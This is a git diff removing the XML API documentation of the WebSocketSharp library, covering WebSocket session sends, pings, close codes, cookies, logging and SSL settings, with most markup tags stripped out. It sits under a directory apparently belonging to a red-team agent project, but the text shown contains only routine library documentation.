client within a time; otherwise, false. - - - A that represents the ID of the session. - - - is . - - - is an empty string. - - - The session could not be found. - - - - - Sends a ping with to the client using - the specified session. - - - true if the send has done with no error and a pong has been - received from the client within a time; otherwise, false. - - - - A that represents the message to send. - - - The size must be 125 bytes or less in UTF-8. - - - - A that represents the ID of the session. - - - is . - - - - is an empty string. - - - -or- - - - could not be UTF-8-encoded. - - - - The session could not be found. - - - The size of is greater than 125 bytes. - - - - - Sends to the client using the specified session. - - - An array of that represents the binary data to send. - - - A that represents the ID of the session. - - - - is . - - - -or- - - - is . - - - - is an empty string. - - - - The session could not be found. - - - -or- - - - The current state of the WebSocket connection is not Open. - - - - - - Sends to the client using the specified session. - - - A that represents the text data to send. - - - A that represents the ID of the session. - - - - is . - - - -or- - - - is . - - - - - is an empty string. - - - -or- - - - could not be UTF-8-encoded. - - - - - The session could not be found. - - - -or- - - - The current state of the WebSocket connection is not Open. - - - - - - Sends the data from to the client using - the specified session. - - - The data is sent as the binary data. - - - A instance from which to read the data to send. - - - An that specifies the number of bytes to send. - - - A that represents the ID of the session. - - - - is . - - - -or- - - - is . - - - - - is an empty string. - - - -or- - - - cannot be read. - - - -or- - - - is less than 1. - - - -or- - - - No data could be read from . - - - - - The session could not be found. - - - -or- - - - The current state of the WebSocket connection is not Open. - - - - - - Sends asynchronously to the client using - the specified session. - - - This method does not wait for the send to be complete. - - - An array of that represents the binary data to send. - - - A that represents the ID of the session. - - - - An Action<bool> delegate or - if not needed. - - - The delegate invokes the method called when the send is complete. - - - true is passed to the method if the send has done with - no error; otherwise, false. - - - - - is . - - - -or- - - - is . - - - - is an empty string. - - - - The session could not be found. - - - -or- - - - The current state of the WebSocket connection is not Open. - - - - - - Sends asynchronously to the client using - the specified session. - - - This method does not wait for the send to be complete. - - - A that represents the text data to send. - - - A that represents the ID of the session. - - - - An Action<bool> delegate or - if not needed. - - - The delegate invokes the method called when the send is complete. - - - true is passed to the method if the send has done with - no error; otherwise, false. - - - - - is . - - - -or- - - - is . - - - - - is an empty string. - - - -or- - - - could not be UTF-8-encoded. - - - - - The session could not be found. - - - -or- - - - The current state of the WebSocket connection is not Open. - - - - - - Sends the data from asynchronously to - the client using the specified session. - - - - The data is sent as the binary data. - - - This method does not wait for the send to be complete. - - - - A instance from which to read the data to send. - - - An that specifies the number of bytes to send. - - - A that represents the ID of the session. - - - - An Action<bool> delegate or - if not needed. - - - The delegate invokes the method called when the send is complete. - - - true is passed to the method if the send has done with - no error; otherwise, false. - - - - - is . - - - -or- - - - is . - - - - - is an empty string. - - - -or- - - - cannot be read. - - - -or- - - - is less than 1. - - - -or- - - - No data could be read from . - - - - - The session could not be found. - - - -or- - - - The current state of the WebSocket connection is not Open. - - - - - - Cleans up the inactive sessions in the WebSocket service. - - - - - Tries to get the session instance with . - - - true if the session is successfully found; otherwise, - false. - - - A that represents the ID of the session to find. - - - - When this method returns, a - instance or if not found. - - - The session instance provides the function to access - the information in the session. - - - - is . - - - is an empty string. - - - - - Implements the WebSocket interface. - - - The WebSocket class provides a set of methods and properties for two-way communication using - the WebSocket protocol (RFC 6455). - - - - - Represents the empty array of used internally. - - - - - Represents the length used to determine whether the data should be fragmented in sending. - - - - The data will be fragmented if that length is greater than the value of this field. - - - If you would like to change the value, you must set it to a value between 125 and - Int32.MaxValue - 14 inclusive. - - - - - - Represents the random number generator used internally. - - - - - Initializes a new instance of the class with - and . - - - A that specifies the URL of the WebSocket - server to connect. - - - - An array of that specifies the names of - the subprotocols if necessary. - - - Each value of the array must be a token defined in - - RFC 2616. - - - - is . - - - - is an empty string. - - - -or- - - - is an invalid WebSocket URL string. - - - -or- - - - contains a value that is not a token. - - - -or- - - - contains a value twice. - - - - - - Gets or sets the custom headers - - - - - Gets or sets the compression method used to compress a message. - - - The set operation does nothing if the connection has already been - established or it is closing. - - - - One of the enum values. - - - It represents the compression method used to compress a message. - - - The default value is . - - - - The set operation cannot be used by servers. - - - - - Gets the HTTP cookies included in the WebSocket handshake request and response. - - - An - instance that provides an enumerator which supports the iteration over the collection of - the cookies. - - - - - Gets the credentials for the HTTP authentication (Basic/Digest). - - - A that represents the credentials for - the authentication. The default value is . - - - - - Gets or sets a value indicating whether the emits - a event when receives a ping. - - - true if the emits a event - when receives a ping; otherwise, false. The default value is false. - - - - - Gets or sets a value indicating whether the URL redirection for - the handshake request is allowed. - - - The set operation does nothing if the connection has already been - established or it is closing. - - - - true if the URL redirection for the handshake request is - allowed; otherwise, false. - - - The default value is false. - - - - The set operation cannot be used by servers. - - - - - Gets the WebSocket extensions selected by the server. - - - A that represents the extensions if any. - The default value is . - - - - - Gets a value indicating whether the WebSocket connection is alive. - - - true if the connection is alive; otherwise, false. - - - - - Gets a value indicating whether the WebSocket connection is secure. - - - true if the connection is secure; otherwise, false. - - - - - Gets the logging functions. - - - The default logging level is . If you would like to change it, - you should set this Log.Level property to any of the enum - values. - - - A that provides the logging functions. - - - - - Gets or sets the value of the HTTP Origin header to send with - the handshake request. - - - - The HTTP Origin header is defined in - - Section 7 of RFC 6454. - - - This instance sends the Origin header if this property has any. - - - The set operation does nothing if the connection has already been - established or it is closing. - - - - - A that represents the value of the Origin - header to send. - - - The syntax is <scheme>://<host>[:<port>]. - - - The default value is . - - - - The set operation is not available if this instance is not a client. - - - - The value specified for a set operation is not an absolute URI string. - - - -or- - - - The value specified for a set operation includes the path segments. - - - - - - Gets the WebSocket subprotocol selected by the server. - - - A that represents the subprotocol if any. - The default value is . - - - - - Gets the state of the WebSocket connection. - - - One of the enum values that indicates - the current state of the connection. The default value is - . - - - - - Gets the configuration for secure connection. - - - This configuration will be referenced when attempts to connect, - so it must be configured before any connect method is called. - - - A that represents - the configuration used to establish a secure connection. - - - - This instance is not a client. - - - This instance does not use a secure connection. - - - - - - Gets the WebSocket URL used to connect, or accepted. - - - A that represents the URL used to connect, or accepted. - - - - - Gets or sets the time to wait for the response to the ping or close. - - - The set operation does nothing if the connection has already been - established or it is closing. - - - - A to wait for the response. - - - The default value is the same as 5 seconds if the instance is - a client. - - - - The value specified for a set operation is zero or less. - - - - - Occurs when the WebSocket connection has been closed. - - - - - Occurs when the gets an error. - - - - - Occurs when the receives a message. - - - - - Occurs when the WebSocket connection has been established. - - - - - Accepts the WebSocket handshake request. - - - This method is not available in a client. - - - - - Accepts the WebSocket handshake request asynchronously. - - - - This method does not wait for the accept to be complete. - - - This method is not available in a client. - - - - - - Closes the connection. - - - This method does nothing if the current state of the connection is - Closing or Closed. - - - - - Closes the connection with the specified . - - - This method does nothing if the current state of the connection is - Closing or Closed. - - - - A that represents the status code - indicating the reason for the close. - - - The status codes are defined in - - Section 7.4 of RFC 6455. - - - - is less than 1000 or greater than 4999. - - - - is 1011 (server error). - It cannot be used by clients. - - - -or- - - - is 1010 (mandatory extension). - It cannot be used by servers. - - - - - - Closes the connection with the specified . - - - This method does nothing if the current state of the connection is - Closing or Closed. - - - - One of the enum values. - - - It represents the status code indicating the reason for the close. - - - - - is - . - It cannot be used by clients. - - - -or- - - - is - . - It cannot be used by servers. - - - - - - Closes the connection with the specified and - . - - - This method does nothing if the current state of the connection is - Closing or Closed. - - - - A that represents the status code - indicating the reason for the close. - - - The status codes are defined in - - Section 7.4 of RFC 6455. - - - - - A that represents the reason for the close. - - - The size must be 123 bytes or less in UTF-8. - - - - - is less than 1000 or greater than 4999. - - - -or- - - - The size of is greater than 123 bytes. - - - - - is 1011 (server error). - It cannot be used by clients. - - - -or- - - - is 1010 (mandatory extension). - It cannot be used by servers. - - - -or- - - - is 1005 (no status) and - there is . - - - -or- - - - could not be UTF-8-encoded. - - - - - - Closes the connection with the specified and - . - - - This method does nothing if the current state of the connection is - Closing or Closed. - - - - One of the enum values. - - - It represents the status code indicating the reason for the close. - - - - - A that represents the reason for the close. - - - The size must be 123 bytes or less in UTF-8. - - - - - is - . - It cannot be used by clients. - - - -or- - - - is - . - It cannot be used by servers. - - - -or- - - - is - and - there is . - - - -or- - - - could not be UTF-8-encoded. - - - - The size of is greater than 123 bytes. - - - - - Closes the connection asynchronously. - - - - This method does not wait for the close to be complete. - - - And this method does nothing if the current state of - the connection is Closing or Closed. - - - - - - Closes the connection asynchronously with the specified - . - - - - This method does not wait for the close to be complete. - - - And this method does nothing if the current state of - the connection is Closing or Closed. - - - - - A that represents the status code - indicating the reason for the close. - - - The status codes are defined in - - Section 7.4 of RFC 6455. - - - - is less than 1000 or greater than 4999. - - - - is 1011 (server error). - It cannot be used by clients. - - - -or- - - - is 1010 (mandatory extension). - It cannot be used by servers. - - - - - - Closes the connection asynchronously with the specified - . - - - - This method does not wait for the close to be complete. - - - And this method does nothing if the current state of - the connection is Closing or Closed. - - - - - One of the enum values. - - - It represents the status code indicating the reason for the close. - - - - - is - . - It cannot be used by clients. - - - -or- - - - is - . - It cannot be used by servers. - - - - - - Closes the connection asynchronously with the specified - and . - - - - This method does not wait for the close to be complete. - - - And this method does nothing if the current state of - the connection is Closing or Closed. - - - - - A that represents the status code - indicating the reason for the close. - - - The status codes are defined in - - Section 7.4 of RFC 6455. - - - - - A that represents the reason for the close. - - - The size must be 123 bytes or less in UTF-8. - - - - - is less than 1000 or greater than 4999. - - - -or- - - - The size of is greater than 123 bytes. - - - - - is 1011 (server error). - It cannot be used by clients. - - - -or- - - - is 1010 (mandatory extension). - It cannot be used by servers. - - - -or- - - - is 1005 (no status) and - there is . - - - -or- - - - could not be UTF-8-encoded. - - - - - - Closes the connection asynchronously with the specified - and . - - - - This method does not wait for the close to be complete. - - - And this method does nothing if the current state of - the connection is Closing or Closed. - - - - - One of the enum values. - - - It represents the status code indicating the reason for the close. - - - - - A that represents the reason for the close. - - - The size must be 123 bytes or less in UTF-8. - - - - - is - . - It cannot be used by clients. - - - -or- - - - is - . - It cannot be used by servers. - - - -or- - - - is - and - there is . - - - -or- - - - could not be UTF-8-encoded. - - - - The size of is greater than 123 bytes. - - - - - Establishes a WebSocket connection. - - - This method is not available in a server. - - - - - Establishes a WebSocket connection asynchronously. - - - - This method does not wait for the connect to be complete. - - - This method is not available in a server. - - - - - - Sends a ping using the WebSocket connection. - - - true if the send has done with no error and a pong has been - received within a time; otherwise, false. - - - - - Sends a ping with using the WebSocket - connection. - - - true if the send has done with no error and a pong has been - received within a time; otherwise, false. - - - - A that represents the message to send. - - - The size must be 125 bytes or less in UTF-8. - - - - could not be UTF-8-encoded. - - - The size of is greater than 125 bytes. - - - - - Sends using the WebSocket connection. - - - An array of that represents the binary data to send. - - - The current state of the connection is not Open. - - - is . - - - - - Sends the specified file using the WebSocket connection. - - - The file is sent as the binary data. - - - A that specifies the file to send. - - - The current state of the connection is not Open. - - - is . - - - - The file does not exist. - - - -or- - - - The file could not be opened. - - - - - - Sends using the WebSocket connection. - - - A that represents the text data to send. - - - The current state of the connection is not Open. - - - is . - - - could not be UTF-8-encoded. - - - - - Sends the data from using the WebSocket - connection. - - - The data is sent as the binary data. - - - A instance from which to read the data to send. - - - An that specifies the number of bytes to send. - - - The current state of the connection is not Open. - - - is . - - - - cannot be read. - - - -or- - - - is less than 1. - - - -or- - - - No data could be read from . - - - - - - Sends asynchronously using the WebSocket - connection. - - - This method does not wait for the send to be complete. - - - An array of that represents the binary data to send. - - - - An Action<bool> delegate or - if not needed. - - - The delegate invokes the method called when the send is complete. - - - true is passed to the method if the send has done with - no error; otherwise, false. - - - - The current state of the connection is not Open. - - - is . - - - - - Sends the specified file asynchronously using the WebSocket connection. - - - - The file is sent as the binary data. - - - This method does not wait for the send to be complete. - - - - A that specifies the file to send. - - - - An Action<bool> delegate or - if not needed. - - - The delegate invokes the method called when the send is complete. - - - true is passed to the method if the send has done with - no error; otherwise, false. - - - - The current state of the connection is not Open. - - - is . - - - - The file does not exist. - - - -or- - - - The file could not be opened. - - - - - - Sends asynchronously using the WebSocket - connection. - - - This method does not wait for the send to be complete. - - - A that represents the text data to send. - - - - An Action<bool> delegate or - if not needed. - - - The delegate invokes the method called when the send is complete. - - - true is passed to the method if the send has done with - no error; otherwise, false. - - - - The current state of the connection is not Open. - - - is . - - - could not be UTF-8-encoded. - - - - - Sends the data from asynchronously using - the WebSocket connection. - - - - The data is sent as the binary data. - - - This method does not wait for the send to be complete. - - - - A instance from which to read the data to send. - - - An that specifies the number of bytes to send. - - - - An Action<bool> delegate or - if not needed. - - - The delegate invokes the method called when the send is complete. - - - true is passed to the method if the send has done with - no error; otherwise, false. - - - - The current state of the connection is not Open. - - - is . - - - - cannot be read. - - - -or- - - - is less than 1. - - - -or- - - - No data could be read from . - - - - - - Sets an HTTP to send with - the WebSocket handshake request to the server. - - - This method is not available in a server. - - - A that represents a cookie to send. - - - - - Sets a pair of and for - the HTTP authentication (Basic/Digest). - - - This method is not available in a server. - - - - A that represents the user name used to authenticate. - - - If is or empty, - the credentials will be initialized and not be sent. - - - - A that represents the password for - used to authenticate. - - - true if the sends the credentials for - the Basic authentication with the first handshake request to the server; - otherwise, false. - - - - - Sets the HTTP proxy server URL to connect through, and if necessary, - a pair of and for - the proxy server authentication (Basic/Digest). - - - This method is not available in a server. - - - - A that represents the HTTP proxy server URL to - connect through. The syntax must be http://<host>[:<port>]. - - - If is or empty, - the url and credentials for the proxy will be initialized, - and the will not use the proxy to - connect through. - - - - - A that represents the user name used to authenticate. - - - If is or empty, - the credentials for the proxy will be initialized and not be sent. - - - - A that represents the password for - used to authenticate. - - - - - Closes the connection and releases all associated resources. - - - - This method closes the connection with close status 1001 (going away). - - - And this method does nothing if the current state of the connection is - Closing or Closed. - - - - - - The exception that is thrown when a fatal error occurs in - the WebSocket communication. - - - - - Gets the status code indicating the cause of the exception. - - - One of the enum values that represents - the status code indicating the cause of the exception. - - - - - Represents the ping frame without the payload data as an array of . - - - The value of this field is created from a non masked frame, so it can only be used to - send a ping from a server. - - - - - Indicates the state of a WebSocket connection. - - - The values of this enumeration are defined in - - The WebSocket API. - - - - - Equivalent to numeric value 0. Indicates that the connection has not - yet been established. - - - - - Equivalent to numeric value 1. Indicates that the connection has - been established, and the communication is possible. - - - - - Equivalent to numeric value 2. Indicates that the connection is - going through the closing handshake, or the close method has - been invoked. - - - - - Equivalent to numeric value 3. Indicates that the connection has - been closed or could not be established. - - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/WebSocketSharp-netstandard-customheaders.1.0.3/lib/netstandard2.0/websocket-sharp.xml b/Payload_Type/apollo/apollo/agent_code/packages/WebSocketSharp-netstandard-customheaders.1.0.3/lib/netstandard2.0/websocket-sharp.xml deleted file mode 100644 index 060c79a3..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/WebSocketSharp-netstandard-customheaders.1.0.3/lib/netstandard2.0/websocket-sharp.xml +++ /dev/null @@ -1,10331 +0,0 @@ - - - - websocket-sharp - - - - - Specifies the byte order. - - - - - Specifies Little-endian. - - - - - Specifies Big-endian. - - - - - Represents the event data for the event. - - - - That event occurs when the WebSocket connection has been closed. - - - If you would like to get the reason for the close, you should access - the or property. - - - - - - Gets the status code for the close. - - - A that represents the status code for the close if any. - - - - - Gets the reason for the close. - - - A that represents the reason for the close if any. - - - - - Gets a value indicating whether the connection has been closed cleanly. - - - true if the connection has been closed cleanly; otherwise, false. - - - - - Indicates the status code for the WebSocket connection close. - - - - The values of this enumeration are defined in - - Section 7.4 of RFC 6455. - - - "Reserved value" cannot be sent as a status code in - closing handshake by an endpoint. - - - - - - Equivalent to close status 1000. Indicates normal close. - - - - - Equivalent to close status 1001. Indicates that an endpoint is - going away. - - - - - Equivalent to close status 1002. Indicates that an endpoint is - terminating the connection due to a protocol error. - - - - - Equivalent to close status 1003. Indicates that an endpoint is - terminating the connection because it has received a type of - data that it cannot accept. - - - - - Equivalent to close status 1004. Still undefined. A Reserved value. - - - - - Equivalent to close status 1005. Indicates that no status code was - actually present. A Reserved value. - - - - - Equivalent to close status 1006. Indicates that the connection was - closed abnormally. A Reserved value. - - - - - Equivalent to close status 1007. Indicates that an endpoint is - terminating the connection because it has received a message that - contains data that is not consistent with the type of the message. - - - - - Equivalent to close status 1008. Indicates that an endpoint is - terminating the connection because it has received a message that - violates its policy. - - - - - Equivalent to close status 1009. Indicates that an endpoint is - terminating the connection because it has received a message that - is too big to process. - - - - - Equivalent to close status 1010. Indicates that a client is - terminating the connection because it has expected the server to - negotiate one or more extension, but the server did not return - them in the handshake response. - - - - - Equivalent to close status 1011. Indicates that a server is - terminating the connection because it has encountered an unexpected - condition that prevented it from fulfilling the request. - - - - - Equivalent to close status 1015. Indicates that the connection was - closed due to a failure to perform a TLS handshake. A Reserved value. - - - - - Specifies the method for compression. - - - The methods are defined in - - Compression Extensions for WebSocket. - - - - - Specifies no compression. - - - - - Specifies DEFLATE. - - - - - Represents the event data for the event. - - - - That event occurs when the gets an error. - - - If you would like to get the error message, you should access - the property. - - - And if the error is due to an exception, you can get it by accessing - the property. - - - - - - Gets the exception that caused the error. - - - An instance that represents the cause of - the error if it is due to an exception; otherwise, . - - - - - Gets the error message. - - - A that represents the error message. - - - - - Provides a set of static methods for websocket-sharp. - - - - - Determines whether the specified equals the specified , - and invokes the specified Action<int> delegate at the same time. - - - true if equals ; - otherwise, false. - - - An to compare. - - - A to compare. - - - An Action<int> delegate that references the method(s) called - at the same time as comparing. An parameter to pass to - the method(s) is . - - - - - Gets the absolute path from the specified . - - - A that represents the absolute path if it's successfully found; - otherwise, . - - - A that represents the URI to get the absolute path from. - - - - - Gets the name from the specified that contains a pair of name and - value separated by a separator character. - - - A that represents the name if any; otherwise, null. - - - A that contains a pair of name and value separated by - a separator character. - - - A that represents the separator character. - - - - - Gets the value from the specified that contains a pair of name and - value separated by a separator character. - - - A that represents the value if any; otherwise, null. - - - A that contains a pair of name and value separated by - a separator character. - - - A that represents the separator character. - - - - - Tries to create a new for WebSocket with - the specified . - - - true if the was successfully created; - otherwise, false. - - - A that represents a WebSocket URL to try. - - - When this method returns, a that - represents the WebSocket URL or - if is invalid. - - - When this method returns, a that - represents an error message or - if is valid. - - - - - Determines whether the specified contains any of characters in - the specified array of . - - - true if contains any of ; - otherwise, false. - - - A to test. - - - An array of that contains characters to find. - - - - - Determines whether the specified contains - the entry with the specified . - - - true if contains the entry with - ; otherwise, false. - - - A to test. - - - A that represents the key of the entry to find. - - - - - Determines whether the specified contains the entry with - the specified both and . - - - true if contains the entry with both - and ; otherwise, false. - - - A to test. - - - A that represents the key of the entry to find. - - - A that represents the value of the entry to find. - - - - - Emits the specified delegate if it isn't . - - - A to emit. - - - An from which emits this . - - - A that contains no event data. - - - - - Emits the specified EventHandler<TEventArgs> delegate if it isn't - . - - - An EventHandler<TEventArgs> to emit. - - - An from which emits this . - - - A TEventArgs that represents the event data. - - - The type of the event data generated by the event. - - - - - Gets the collection of the HTTP cookies from the specified HTTP . - - - A that receives a collection of the HTTP cookies. - - - A that contains a collection of the HTTP headers. - - - true if is a collection of the response headers; - otherwise, false. - - - - - Gets the description of the specified HTTP status . - - - A that represents the description of the HTTP status code. - - - One of enum values, indicates the HTTP status code. - - - - - Gets the description of the specified HTTP status . - - - A that represents the description of the HTTP status code. - - - An that represents the HTTP status code. - - - - - Determines whether the specified is in the - range of the status code for the WebSocket connection close. - - - - The ranges are the following: - - - - - 1000-2999: These numbers are reserved for definition by - the WebSocket protocol. - - - - - 3000-3999: These numbers are reserved for use by libraries, - frameworks, and applications. - - - - - 4000-4999: These numbers are reserved for private use. - - - - - - true if is in the range of - the status code for the close; otherwise, false. - - - A to test. - - - - - Determines whether the specified is - enclosed in the specified . - - - true if is enclosed in - ; otherwise, false. - - - A to test. - - - A to find. - - - - - Determines whether the specified is host (this computer - architecture) byte order. - - - true if is host byte order; otherwise, false. - - - One of the enum values, to test. - - - - - Determines whether the specified - represents a local IP address. - - - This local means NOT REMOTE for the current host. - - - true if represents a local IP address; - otherwise, false. - - - A to test. - - - - - Determines whether the specified string is or - an empty string. - - - true if the string is or an empty string; - otherwise, false. - - - A to test. - - - - - Determines whether the specified is - a predefined scheme. - - - true if is a predefined scheme; - otherwise, false. - - - A to test. - - - - - Determines whether the specified is - an HTTP Upgrade request to switch to the specified . - - - true if is an HTTP Upgrade request to switch to - ; otherwise, false. - - - A that represents the HTTP request. - - - A that represents the protocol name. - - - - is . - - - -or- - - - is . - - - - is empty. - - - - - Determines whether the specified is a URI string. - - - true if may be a URI string; - otherwise, false. - - - A to test. - - - - - Retrieves a sub-array from the specified . A sub-array starts at - the specified element position in . - - - An array of T that receives a sub-array, or an empty array of T if any problems with - the parameters. - - - An array of T from which to retrieve a sub-array. - - - An that represents the zero-based starting position of - a sub-array in . - - - An that represents the number of elements to retrieve. - - - The type of elements in . - - - - - Retrieves a sub-array from the specified . A sub-array starts at - the specified element position in . - - - An array of T that receives a sub-array, or an empty array of T if any problems with - the parameters. - - - An array of T from which to retrieve a sub-array. - - - A that represents the zero-based starting position of - a sub-array in . - - - A that represents the number of elements to retrieve. - - - The type of elements in . - - - - - Executes the specified delegate times. - - - An is the number of times to execute. - - - An delegate that references the method(s) to execute. - - - - - Executes the specified delegate times. - - - A is the number of times to execute. - - - An delegate that references the method(s) to execute. - - - - - Executes the specified delegate times. - - - A is the number of times to execute. - - - An delegate that references the method(s) to execute. - - - - - Executes the specified delegate times. - - - A is the number of times to execute. - - - An delegate that references the method(s) to execute. - - - - - Executes the specified Action<int> delegate times. - - - An is the number of times to execute. - - - An Action<int> delegate that references the method(s) to execute. - An parameter to pass to the method(s) is the zero-based count of - iteration. - - - - - Executes the specified Action<long> delegate times. - - - A is the number of times to execute. - - - An Action<long> delegate that references the method(s) to execute. - A parameter to pass to the method(s) is the zero-based count of - iteration. - - - - - Executes the specified Action<uint> delegate times. - - - A is the number of times to execute. - - - An Action<uint> delegate that references the method(s) to execute. - A parameter to pass to the method(s) is the zero-based count of - iteration. - - - - - Executes the specified Action<ulong> delegate times. - - - A is the number of times to execute. - - - An Action<ulong> delegate that references the method(s) to execute. - A parameter to pass to this method(s) is the zero-based count of - iteration. - - - - - Converts the specified array of to the specified type data. - - - A T converted from , or a default value of - T if is an empty array of or - if the type of T isn't , , , - , , , , - , , or . - - - An array of to convert. - - - One of the enum values, specifies the byte order of - . - - - The type of the return. The T must be a value type. - - - is . - - - - - Converts the specified to an array of . - - - An array of converted from . - - - A T to convert. - - - One of the enum values, specifies the byte order of the return. - - - The type of . The T must be a value type. - - - - - Converts the order of the specified array of to the host byte order. - - - An array of converted from . - - - An array of to convert. - - - One of the enum values, specifies the byte order of - . - - - is . - - - - - Converts the specified to a that - concatenates the each element of across the specified - . - - - A converted from , - or if is empty. - - - An array of T to convert. - - - A that represents the separator string. - - - The type of elements in . - - - is . - - - - - Converts the specified to a . - - - A converted from or - if the convert has failed. - - - A to convert. - - - - - URL-decodes the specified . - - - A that receives the decoded string or - if it is or empty. - - - A to decode. - - - - - URL-encodes the specified . - - - A that receives the encoded string or - if it is or empty. - - - A to encode. - - - - - Writes and sends the specified data with the specified - . - - - A that represents the HTTP response used to - send the content data. - - - An array of that represents the content data to send. - - - - is . - - - -or- - - - is . - - - - - - Indicates whether a WebSocket frame is the final frame of a message. - - - The values of this enumeration are defined in - Section 5.2 of RFC 6455. - - - - - Equivalent to numeric value 0. Indicates more frames of a message follow. - - - - - Equivalent to numeric value 1. Indicates the final frame of a message. - - - - - Represents a log data used by the class. - - - - - Gets the information of the logging method caller. - - - A that provides the information of the logging method caller. - - - - - Gets the date and time when the log data was created. - - - A that represents the date and time when the log data was created. - - - - - Gets the logging level of the log data. - - - One of the enum values, indicates the logging level of the log data. - - - - - Gets the message of the log data. - - - A that represents the message of the log data. - - - - - Returns a that represents the current . - - - A that represents the current . - - - - - Provides a set of methods and properties for logging. - - - - If you output a log with lower than the value of the property, - it cannot be outputted. - - - The default output action writes a log to the standard output stream and the log file - if the property has a valid path to it. - - - If you would like to use the custom output action, you should set - the property to any Action<LogData, string> - delegate. - - - - - - Initializes a new instance of the class. - - - This constructor initializes the current logging level with . - - - - - Initializes a new instance of the class with - the specified logging . - - - One of the enum values. - - - - - Initializes a new instance of the class with - the specified logging , path to the log , - and action. - - - One of the enum values. - - - A that represents the path to the log file. - - - An Action<LogData, string> delegate that references the method(s) used to - output a log. A parameter passed to this delegate is - . - - - - - Gets or sets the current path to the log file. - - - A that represents the current path to the log file if any. - - - - - Gets or sets the current logging level. - - - A log with lower than the value of this property cannot be outputted. - - - One of the enum values, specifies the current logging level. - - - - - Gets or sets the current output action used to output a log. - - - - An Action<LogData, string> delegate that references the method(s) used to - output a log. A parameter passed to this delegate is the value of - the property. - - - If the value to set is , the current output action is changed to - the default output action. - - - - - - Outputs as a log with . - - - If the current logging level is higher than , - this method doesn't output as a log. - - - A that represents the message to output as a log. - - - - - Outputs as a log with . - - - If the current logging level is higher than , - this method doesn't output as a log. - - - A that represents the message to output as a log. - - - - - Outputs as a log with . - - - A that represents the message to output as a log. - - - - - Outputs as a log with . - - - If the current logging level is higher than , - this method doesn't output as a log. - - - A that represents the message to output as a log. - - - - - Outputs as a log with . - - - If the current logging level is higher than , - this method doesn't output as a log. - - - A that represents the message to output as a log. - - - - - Outputs as a log with . - - - If the current logging level is higher than , - this method doesn't output as a log. - - - A that represents the message to output as a log. - - - - - Specifies the logging level. - - - - - Specifies the bottom logging level. - - - - - Specifies the 2nd logging level from the bottom. - - - - - Specifies the 3rd logging level from the bottom. - - - - - Specifies the 3rd logging level from the top. - - - - - Specifies the 2nd logging level from the top. - - - - - Specifies the top logging level. - - - - - Indicates whether the payload data of a WebSocket frame is masked. - - - The values of this enumeration are defined in - Section 5.2 of RFC 6455. - - - - - Equivalent to numeric value 0. Indicates not masked. - - - - - Equivalent to numeric value 1. Indicates masked. - - - - - Represents the event data for the event. - - - - That event occurs when the receives - a message or a ping if the - property is set to true. - - - If you would like to get the message data, you should access - the or property. - - - - - - Gets the opcode for the message. - - - , , - or . - - - - - Gets the message data as a . - - - A that represents the message data if its type is - text or ping and if decoding it to a string has successfully done; - otherwise, . - - - - - Gets a value indicating whether the message type is binary. - - - true if the message type is binary; otherwise, false. - - - - - Gets a value indicating whether the message type is ping. - - - true if the message type is ping; otherwise, false. - - - - - Gets a value indicating whether the message type is text. - - - true if the message type is text; otherwise, false. - - - - - Gets the message data as an array of . - - - An array of that represents the message data. - - - - - Specifies the scheme for authentication. - - - - - No authentication is allowed. - - - - - Specifies digest authentication. - - - - - Specifies basic authentication. - - - - - Specifies anonymous authentication. - - - - - Stores the parameters for the used by clients. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class - with the specified . - - - A that represents the target host server name. - - - - - Copies the parameters from the specified to - a new instance of the class. - - - A from which to copy. - - - is . - - - - - Gets or sets a value indicating whether the certificate revocation - list is checked during authentication. - - - - true if the certificate revocation list is checked during - authentication; otherwise, false. - - - The default value is false. - - - - - - Gets or sets the certificates from which to select one to - supply to the server. - - - - A or . - - - That collection contains client certificates from which to select. - - - The default value is . - - - - - - Gets or sets the callback used to select the certificate to - supply to the server. - - - No certificate is supplied if the callback returns - . - - - - A delegate that - invokes the method called for selecting the certificate. - - - The default value is a delegate that invokes a method that - only returns . - - - - - - Gets or sets the protocols used for authentication. - - - - The enum values that represent - the protocols used for authentication. - - - The default value is . - - - - - - Gets or sets the callback used to validate the certificate - supplied by the server. - - - The certificate is valid if the callback returns true. - - - - A delegate that - invokes the method called for validating the certificate. - - - The default value is a delegate that invokes a method that - only returns true. - - - - - - Gets or sets the target host server name. - - - - A or - if not specified. - - - That string represents the name of the server that - will share a secure connection with a client. - - - - - - Provides a set of methods and properties used to manage an HTTP Cookie. - - - - The Cookie class supports the following cookie formats: - Netscape specification, - RFC 2109, and - RFC 2965 - - - The Cookie class cannot be inherited. - - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class with the specified - and . - - - A that represents the Name of the cookie. - - - A that represents the Value of the cookie. - - - - is or empty. - - - - or - - - - contains an invalid character. - - - - or - - - - is . - - - - or - - - - contains a string not enclosed in double quotes - that contains an invalid character. - - - - - - Initializes a new instance of the class with the specified - , , and . - - - A that represents the Name of the cookie. - - - A that represents the Value of the cookie. - - - A that represents the value of the Path attribute of the cookie. - - - - is or empty. - - - - or - - - - contains an invalid character. - - - - or - - - - is . - - - - or - - - - contains a string not enclosed in double quotes - that contains an invalid character. - - - - - - Initializes a new instance of the class with the specified - , , , and - . - - - A that represents the Name of the cookie. - - - A that represents the Value of the cookie. - - - A that represents the value of the Path attribute of the cookie. - - - A that represents the value of the Domain attribute of the cookie. - - - - is or empty. - - - - or - - - - contains an invalid character. - - - - or - - - - is . - - - - or - - - - contains a string not enclosed in double quotes - that contains an invalid character. - - - - - - Gets or sets the value of the Comment attribute of the cookie. - - - A that represents the comment to document intended use of the cookie. - - - - - Gets or sets the value of the CommentURL attribute of the cookie. - - - A that represents the URI that provides the comment to document intended - use of the cookie. - - - - - Gets or sets a value indicating whether the client discards the cookie unconditionally - when the client terminates. - - - true if the client discards the cookie unconditionally when the client terminates; - otherwise, false. The default value is false. - - - - - Gets or sets the value of the Domain attribute of the cookie. - - - A that represents the URI for which the cookie is valid. - - - - - Gets or sets a value indicating whether the cookie has expired. - - - true if the cookie has expired; otherwise, false. - The default value is false. - - - - - Gets or sets the value of the Expires attribute of the cookie. - - - A that represents the date and time at which the cookie expires. - The default value is . - - - - - Gets or sets a value indicating whether non-HTTP APIs can access the cookie. - - - true if non-HTTP APIs cannot access the cookie; otherwise, false. - The default value is false. - - - - - Gets or sets the Name of the cookie. - - - A that represents the Name of the cookie. - - - - The value specified for a set operation is or empty. - - - - or - - - - The value specified for a set operation contains an invalid character. - - - - - - Gets or sets the value of the Path attribute of the cookie. - - - A that represents the subset of URI on the origin server - to which the cookie applies. - - - - - Gets or sets the value of the Port attribute of the 